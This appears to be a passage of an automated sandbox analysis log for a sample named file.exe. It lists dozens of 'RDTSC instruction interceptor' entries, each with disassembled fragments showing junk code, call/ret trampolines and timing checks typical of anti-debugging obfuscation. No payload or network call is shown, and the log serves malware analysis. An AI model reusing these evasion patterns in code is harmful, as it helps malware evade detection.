Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E784CF second address: E784E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3DE9170BECh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7863E second address: E78658 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F960h 0x00000007 jl 00007F3DE916F956h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78658 second address: E78664 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jno 00007F3DE9170BE6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78664 second address: E78672 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3DE916F956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78672 second address: E78676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78805 second address: E78810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78810 second address: E78814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78814 second address: E78818 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78E1D second address: E78E21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78FB6 second address: E78FD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F3DE916F965h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78FD5 second address: E78FF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3DE9170BE6h 0x0000000a popad 0x0000000b push ebx 0x0000000c pushad 0x0000000d jmp 00007F3DE9170BF4h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79585 second address: E795CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F3DE916F95Ch 0x0000000b jns 00007F3DE916F956h 0x00000011 pop edi 0x00000012 push esi 0x00000013 push edx 0x00000014 jmp 00007F3DE916F95Eh 0x00000019 jmp 00007F3DE916F964h 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F3DE916F95Eh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E795CC second address: E795D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8085B second address: E8085F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8085F second address: E80863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80863 second address: E80869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E809AF second address: E809B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E809B5 second address: E809BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F3DE916F956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80AFB second address: E80B00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80B00 second address: E80B10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DE916F95Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80B10 second address: E80B20 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80B20 second address: E80B38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F3DE916F95Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80B38 second address: E80B62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jmp 00007F3DE9170BEDh 0x00000013 push eax 0x00000014 push edx 0x00000015 jl 00007F3DE9170BE6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81F1B second address: E81F1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81F1F second address: E81F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F3DE9170BF5h 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46F64 second address: E46F6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F3DE916F956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46F6E second address: E46F82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E860A4 second address: E860A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E860A8 second address: E860BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c jne 00007F3DE9170BE6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E860BA second address: E860BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E860BE second address: E860DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DE9170BF6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E866F6 second address: E86717 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F3DE916F95Ch 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007F3DE916F95Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8687D second address: E86887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E869FF second address: E86A05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86A05 second address: E86A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86A09 second address: E86A0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89315 second address: E8931B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8968D second address: E89696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89696 second address: E8969A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89762 second address: E89784 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3DE916F956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3DE916F966h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89899 second address: E8989E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89915 second address: E89919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89919 second address: E89931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A23C second address: E8A241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A2FB second address: E8A312 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3DE9170BE8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d je 00007F3DE9170BF0h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A3C5 second address: E8A3CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A3CB second address: E8A3CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A81F second address: E8A82E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3DE916F95Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B254 second address: E8B25A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B25A second address: E8B25E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B25E second address: E8B262 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B262 second address: E8B2C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov di, C5B2h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F3DE916F958h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b call 00007F3DE916F963h 0x00000030 jbe 00007F3DE916F95Ch 0x00000036 mov dword ptr [ebp+122D336Dh], edi 0x0000003c pop esi 0x0000003d xchg eax, ebx 0x0000003e pushad 0x0000003f push ebx 0x00000040 jo 00007F3DE916F956h 0x00000046 pop ebx 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B2C5 second address: E8B2DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B2DF second address: E8B2E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8C362 second address: E8C3DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F3DE9170BF8h 0x0000000c popad 0x0000000d nop 0x0000000e mov esi, dword ptr [ebp+122D369Bh] 0x00000014 push 00000000h 0x00000016 or esi, 23246CEFh 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F3DE9170BE8h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 00000014h 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 mov dword ptr [ebp+1245CA5Fh], esi 0x0000003e jp 00007F3DE9170BEEh 0x00000044 xchg eax, ebx 0x00000045 jmp 00007F3DE9170BEAh 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jl 00007F3DE9170BECh 0x00000053 jc 00007F3DE9170BE6h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8C3DD second address: E8C3E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8E44E second address: E8E4B7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3DE9170BF5h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F3DE9170BE8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push 00000000h 0x00000029 mov esi, dword ptr [ebp+122D331Fh] 0x0000002f mov esi, dword ptr [ebp+122D330Ch] 0x00000035 push 00000000h 0x00000037 mov dword ptr [ebp+122D2A3Ch], ecx 0x0000003d push eax 0x0000003e pushad 0x0000003f jmp 00007F3DE9170BF5h 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F9AD second address: E8F9B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F6CB second address: E8F6E6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3DE9170BE8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F3DE9170BECh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E918EA second address: E918EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E918EE second address: E918F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98257 second address: E98272 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F967h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E99294 second address: E9929B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E99324 second address: E99328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E972C8 second address: E972CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E972CC second address: E9738C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F3DE916F958h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007F3DE916F95Bh 0x00000016 jmp 00007F3DE916F967h 0x0000001b popad 0x0000001c nop 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F3DE916F958h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000017h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 call 00007F3DE916F968h 0x0000003c mov ebx, edi 0x0000003e pop ebx 0x0000003f push dword ptr fs:[00000000h] 0x00000046 jnl 00007F3DE916F95Bh 0x0000004c sbb di, 0E69h 0x00000051 mov dword ptr fs:[00000000h], esp 0x00000058 xor dword ptr [ebp+122D1A12h], ecx 0x0000005e mov eax, dword ptr [ebp+122D03F9h] 0x00000064 cld 0x00000065 push FFFFFFFFh 0x00000067 mov dword ptr [ebp+122D57AAh], eax 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 jmp 00007F3DE916F969h 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9843F second address: E98445 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B341 second address: E9B384 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F95Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c cld 0x0000000d push 00000000h 0x0000000f jnc 00007F3DE916F964h 0x00000015 push 00000000h 0x00000017 call 00007F3DE916F95Dh 0x0000001c mov ebx, dword ptr [ebp+122D37DBh] 0x00000022 pop edi 0x00000023 push eax 0x00000024 push eax 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98445 second address: E98449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C35C second address: E9C362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C362 second address: E9C3D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F3DE9170BF7h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F3DE9170BE8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebp 0x0000002e call 00007F3DE9170BE8h 0x00000033 pop ebp 0x00000034 mov dword ptr [esp+04h], ebp 0x00000038 add dword ptr [esp+04h], 00000018h 0x00000040 inc ebp 0x00000041 push ebp 0x00000042 ret 0x00000043 pop ebp 0x00000044 ret 0x00000045 mov dword ptr [ebp+122D1F56h], esi 0x0000004b push eax 0x0000004c js 00007F3DE9170BF4h 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C3D7 second address: E9C3DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E994A8 second address: E994AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E995C3 second address: E995C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E421 second address: E9E44B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F3DE9170BF7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jng 00007F3DE9170BF0h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E44B second address: E9E4AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov edi, dword ptr [ebp+122D574Ch] 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F3DE916F958h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 or ebx, 57B828E8h 0x0000002f push 00000000h 0x00000031 jmp 00007F3DE916F963h 0x00000036 mov bh, 22h 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F3DE916F95Dh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E4AC second address: E9E4B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E4B1 second address: E9E4B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E4B7 second address: E9E4C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F3DE9170BE6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F31D second address: E9F326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F326 second address: E9F32A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F32A second address: E9F3B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jp 00007F3DE916F95Eh 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D1A20h], eax 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F3DE916F958h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D32F1h], edi 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007F3DE916F958h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 00000015h 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 jmp 00007F3DE916F965h 0x00000058 push eax 0x00000059 pushad 0x0000005a push esi 0x0000005b ja 00007F3DE916F956h 0x00000061 pop esi 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F3B6 second address: E9F3BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A4AE second address: E9A4B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F4D6 second address: E9F4E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F3DE9170BE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA347B second address: EA347F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA04C1 second address: EA04C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
